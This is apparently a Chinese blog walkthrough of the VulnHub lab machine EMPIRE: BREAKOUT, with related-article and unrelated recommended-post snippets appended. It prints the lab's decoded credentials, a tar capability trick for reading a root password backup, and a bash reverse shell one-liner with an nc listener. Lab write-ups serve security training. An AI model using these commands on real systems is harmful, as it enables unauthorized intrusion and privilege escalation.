vulnhub靶场之EMPIRE
准备:
攻击机:虚拟机kali、本机win10。
靶机:EMPIRE: BREAKOUT,地址我这里设置的桥接,下载地址:https://download.vulnhub.com/empire/02-Breakout.zip,下载后直接VirtualBox打开,如果使用vm打开可能会存在ip问题。
涉及的知识点:shell反弹、权限提升、smb、samba扫描、解密、getcap命令的使用(查看可执行文件获取的内核权限)。

信息收集:
使用nmap扫描靶机开放的端口和对应的具体服务信息,命令:nmap -T4 -sV -p- -A 192.168.1.4。

对80端口进行文件扫描,但是未发现什么有用的信息。

分别访问下80、10000、20000端口,发现80是一个默认的页面,10000和20000页面是两个登录页面。



尝试对登录窗口进行注入、爆破均失败,但是在80端口的源代码信息中发现了一串加密的字符串。
<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
-->

开始渗透:
在http://esoteric.sange.fi/brainfuck/impl/interp/i.html网站对字符串进行解密,获得字符串:.2uqPEfj3D<P'a-3

观察到139、445端口开启的samba软件(基于smb协议),因此我们可以使用enum4linux(smb、samba专用扫描器)来进行扫描以下,命令:enum4linux 192.168.1.4,获得用户名:cyber。

使用获得账户名和密码尝试进行登录:cyber/.2uqPEfj3D<P'a-3,发现在20000端口可以登录成功并具有shell权限。

在cyber账户权限下找到第一个flag。

提权:
在/cyber目录下我们还发现了tar文件,查看文件权限发现其具有可执行权限,命令:ls -l。

那我们就查看下该文件执行时所具有的内核权限,命令:getcap tar,发现其可以绕过文件的读权限检查以及目录的读/执行权限的检查(cap_dac_read_search表示的就是这个意思)。

对网站目录目录进行查看,最后在/var目录下发现backup文件,其他目录下未发现有用信息。

在/backups文件夹下发现密码的备份文件:.old_pass.bak

然后对.old_pass.bak文件进行压缩和解压就可以读取root密码,压缩密码:./tar -cvf upfine.tar /var/backups/.old_pass.bak,解压密码:./tar -xvf upfine.tar,然后进入/var/backups目录下读取.old_pass.bak文件,发现root密码:Ts&4&YurgtRX(=~h。

到这里的话有两种方式,第一种:在10000端口采用:admin/Ts&4&YurgtRX(=~h,进行登录,进入后可直接获得root账户权限。

第二种:反弹一个shell,在kali中开启对8899端口的监听,命令:nc -lvvp 8899,然后在靶机中执行bash命令:bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'。

在反弹的shell中切换root用户并查看root下的文件信息,成功获得第二个flag。

vulnhub靶场之EMPIRE的更多相关文章
- 【Vulnhub靶场】EMPIRE: BREAKOUT
		
环境准备 下载靶机,导入到vmware里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2.15 靶机IP地址为:192.16 ...
 - Vulnhub靶场题解
		
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
 - VulnHub靶场学习_HA: ARMOUR
		
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
 - VulnHub靶场学习_HA: InfinityStones
		
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
 - VulnHub靶场学习_HA: Avengers Arsenal
		
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
 - VulnHub靶场学习_HA: Chanakya
		
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
 - VulnHub靶场学习_HA: Pandavas
		
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
 - VulnHub靶场学习_HA: Natraj
		
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
 - VulnHub靶场学习_HA: Chakravyuh
		
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
 
随机推荐
- odoo14 入门解刨关联字段
			
Odoo中关联字段是用来绑定表与表之间主从关系的. 主从关系指: 首先必须要明白id的存在的意义,它具备"唯一"的属性,也就是表中所有记录中该字段的值不会重复. 假设表A存储是身份 ...
 - 选择结构——嵌套 if 控制语句
			
1.嵌套 if 控制语句 概念: 在 if 控制语句中又包含一个或多个 if 控制语句的简称为嵌套 if 控制语句.嵌套 if 控制语句可以通过外层语句和内层语句的协作,来增强程序的灵活性. 语法格式 ...
 - 项目操作案例丨西门子PLC通过网关连接ACS800变频器
			
本案例控制对象为炉条机.以及蒸汽的控制以及现场数据参数的显示以及报警. PLC 选用西门子 CPU,通过 ET200 IO 模块控制现场设备并监控数据.变频器采用ABB ACS800变频器,将ABB ...
 - 利用 SonarScanner 静态扫描 Rainbond 上的 Maven 项目
			
对代码进行静态扫描是一种非常常见的代码质量保证手段,这种扫描不仅仅可以检查到代码中的缺陷,应用各种业界最佳实践,也可以检查出安全方面的漏洞,给予项目代码全方位的提升.在各种代码扫描方案之中,Sonar ...
 - 不会提交 PR 的小伙伴看过来,超详细的视频教程!
			
点击上方 蓝字关注我们 作者 | 严天奇 ✎ 编 者 按 最近有一些新加入社区的朋友反馈不太了解 Apache DolphinScheduler 提交 PR 的步骤和规则.这不,人帅心美的严天奇同学就 ...
 - java-多态、内部类
			
1.多态: 1)意义: 1.1)同一类型的引用,指向不同的对象时,有不同的实现-------行为的多态: cut(),run(),teach()... 1.2)同一个对象,被造型为不同的类型时,有不同 ...
 - 【ARK UI】HarmonyOS ETS 资源管理基本使用
			
代码实现 api讲解 getStringArray getStringArray(resId: number, callback: AsyncCallback<Array>): void ...
 - flask 可插拔视图
			
Flask 0.7 版本引入了可插拨视图.可插拨视图基于使用类来代替函数,其灵感来自于 Django 的通用视图.可插拨视图的主要用途是用可定制的.可插拨的视图来替代部分 实现.普通的函数视图 演示代 ...
 - day32-线程基础02
			
线程基础02 3.继承Thread和实现Runnable的区别 从java的设计来看,通过继承Thread或者实现Runnable接口本身来创建线程本质上没有区别,从jdk帮助文档我们可以看到Thre ...
 - git 根据历史 commitID 拉分支
			
1. git log -g 查看已commit的信息 2. 根据commit信息找到对应的commitID 3. 执行一下命令来创建新的分支 ### 1. 方法一:创建一个基于commitId的分支, ...